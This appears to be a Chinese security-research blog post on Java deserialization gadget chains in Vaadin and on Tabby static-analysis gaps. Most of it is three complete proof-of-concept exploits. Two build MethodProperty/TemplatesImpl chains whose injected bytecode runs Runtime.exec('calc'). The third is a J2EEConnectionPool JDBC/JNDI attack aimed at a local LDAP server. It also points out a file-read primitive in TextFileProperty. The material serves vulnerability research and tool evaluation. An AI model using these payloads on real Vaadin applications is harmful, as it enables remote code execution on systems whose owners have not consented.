tabby在vaadin反序列化链寻找的应用
在学习前面几条链子的基础上,结合静态分析工具在前面的基础上的一些小发现,包括vaadin的新利用方式以及对tabby的检测缺陷的总结
前言
在学习前面几条链子的基础上,结合静态分析工具在前面的基础上的一些小发现,包括vaadin的新利用方式以及对tabby的检测缺陷的总结
任意方法调用
com.vaadin.data.util.MethodProperty
如果分析过vaadin前面几条利用链,核心是寻找到了恶意的getValue使得能够触发方法调用或者JNDI攻击、JDBC attack等等
原始的Vaadin反序列化Gadget是通过利用NestedMethodProperty#getValue方法进行利用
这里同样可以使用MethodProperty#getValue进行替代使用,相比较而言,这个类的使用更方便
直接来看对应getValue方法的实现:
非常的简洁,直接是若对应的instance属性不为空则反射调用getMethod属性中的方法
接下来看看getMethod \ instance \ getArgs这些属性值是否可控
这可太可控了,他们都是通过MethodProperty类的构造函数进行传入
该类存在有多个构造方法的重载形式:
对于第一个构造函数,仅仅接受两个参数,分别为instance \ beanPropertyName
- 获取传入的instance对象的类,以及处理传入的属性名,使得首字母大写
- 通过
initGetterMethod获取后续能够反射调用的Method方法同之前的一样,能够调用getter / is / are方法
对于倒数第二个构造方法,需要传入7个参数:
- 直接反射从传入的
instance实例中获取该对象所有的方法列表 - 后续使用我们传入的
getMethodName \ type同反射获取的方法列表进行比对,若比对成功则直接将其赋值给getMethod属性 - 通过上述分析,可以发现并未对传入的getMethodName变量做任何限制,我们这里不仅仅可以传入getter方法,同样可以传入非getter方法进行调用
而最后一个构造方法更极端,直接赋值:
POC
Way1
MethodProperty调用getter方法
package org.example.deser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.vaadin.data.util.MethodProperty;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class Vaadin_test1 {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", null);
PropertysetItem pItem = new PropertysetItem();
MethodProperty<Object> methodProperty = new MethodProperty<>(templates, "outputProperties");
pItem.addItemProperty("test",methodProperty);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException,"val",pItem);
String result=serialize(badAttributeValueExpException);
unserialize(result);
}
public static String serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize(String base) throws IOException, ClassNotFoundException {
byte[] result=Base64.getDecoder().decode(base);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(result);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static byte[] getTemplates() throws CannotCompileException, IOException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void setFieldValue(Object object,String field,Object arg) throws NoSuchFieldException, IllegalAccessException {
Field f=object.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(object,arg);
}
}Way2
MethodProperty调用任意方法
package org.example.deser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.vaadin.data.util.MethodProperty;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Properties;
public class Vaadin_test1 {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException {
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", null);
PropertysetItem pItem = new PropertysetItem();
// way1
// MethodProperty<Object> methodProperty = new MethodProperty<>(templates, "outputProperties");
// way2
Method getOutputProperties = templates.getClass().getDeclaredMethod("getOutputProperties");
MethodProperty methodProperty = new MethodProperty<>(Properties.class, templates, getOutputProperties, null, new Object[0], new Object[0], -1);
pItem.addItemProperty("test",methodProperty);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException,"val",pItem);
String result=serialize(badAttributeValueExpException);
unserialize(result);
}
public static String serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
public static void unserialize(String base) throws IOException, ClassNotFoundException {
byte[] result=Base64.getDecoder().decode(base);
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(result);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static byte[] getTemplates() throws CannotCompileException, IOException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void setFieldValue(Object object,String field,Object arg) throws NoSuchFieldException, IllegalAccessException {
Field f=object.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(object,arg);
}
}FileInputStream参数可控
com.vaadin.data.util.TextFileProperty
同样是在其getValue方法中:
直接传入了file属性,且该属性值可控,在读取文件之后将内容进行返回
有点子疑惑,在反序列化漏洞的场景下这种可以读文件吗?不是很懂....
JDBC attack
师傅在前面提到了一个链子
J2EEConnectionPool#reserveConnection的利用
主要是考虑到了reserveConnection -> getDataSource -> lookupDataSource这样的流程触发了JNDI注入
同样的,在这里如果这里的dataSource属性值不为空,则会调用DataSource#getConnection触发JDBC attack
POC
J2EEConnectionPool#reserveConnection的JDBC attack:
package org.example.deser;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.NativeSelect;
import org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource;
import org.example.utils.ReflectionUtil;
import org.example.utils.Serializer;
import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
public class Vaadin1_v1 {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, IOException {
String command = "ldap://127.0.0.1:1389/TomcatEL/Command/calc";
SharedPoolDataSource dataSource = new SharedPoolDataSource();
dataSource.setDataSourceName(command);
J2EEConnectionPool j2EEConnectionPool = new J2EEConnectionPool(dataSource);
TableQuery tableQuery = (TableQuery) ReflectionUtil.createWithoutConstructor("com.vaadin.data.util.sqlcontainer.query.TableQuery");
// prevent the error
ReflectionUtil.setFieldValue(tableQuery, "primaryKeyColumns", new ArrayList<>());
ReflectionUtil.setFieldValue(tableQuery, "sqlGenerator", new DefaultSQLGenerator());
ReflectionUtil.setFieldValue(tableQuery, "connectionPool", j2EEConnectionPool);
Constructor<SQLContainer> sqlContainerConstructor = SQLContainer.class.getDeclaredConstructor();
sqlContainerConstructor.setAccessible(true);
SQLContainer sqlContainer = sqlContainerConstructor.newInstance();
ReflectionUtil.setFieldValue(sqlContainer, "queryDelegate", tableQuery);
NativeSelect nativeSelect = new NativeSelect();
RowId rowId = new RowId();
ReflectionUtil.setFieldValue(nativeSelect, "value", rowId);
ReflectionUtil.setFieldValue(nativeSelect, "items", sqlContainer);
ReflectionUtil.setFieldValue(nativeSelect, "multiSelect", true);
PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("test", nativeSelect);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
ReflectionUtil.setFieldValue(badAttributeValueExpException, "val", propertysetItem);
byte[] bytes = Serializer.serialize(badAttributeValueExpException);
Serializer.deserialize(bytes);
}
}上面使用了dbcp依赖,打EL表达式,需要添加对应的依赖
总结
起始时使用污点分析工具进行利用链的查找,虽然可以找到原始的利用链的完整通路,但是对于https://xz.aliyun.com/t/15715这篇文章提到的两条链子并不存在有通路,通过分析,该俩链子在最后达到sink点,也即是JNDI触发位置时,并没有参数被污染,数据流不能够被传递
例如J2EEConnectionPool#reserveConnection以及SimpleJDBCConnectionPool#reserveConnection方法
同时,在使用tabby的过程中,发现虽然能够使用apoc.algo.allSimplePaths这一个procedure查到对应的两条链子,但是并不能够检索到J2EEConnectionPool#reserveConnection中存在的JDBC attack
究其原因,可能是在生成调用关系图的过程中,并没有处理这类连续调用的情况:getDataSource().getConnection(),算是一个小缺陷...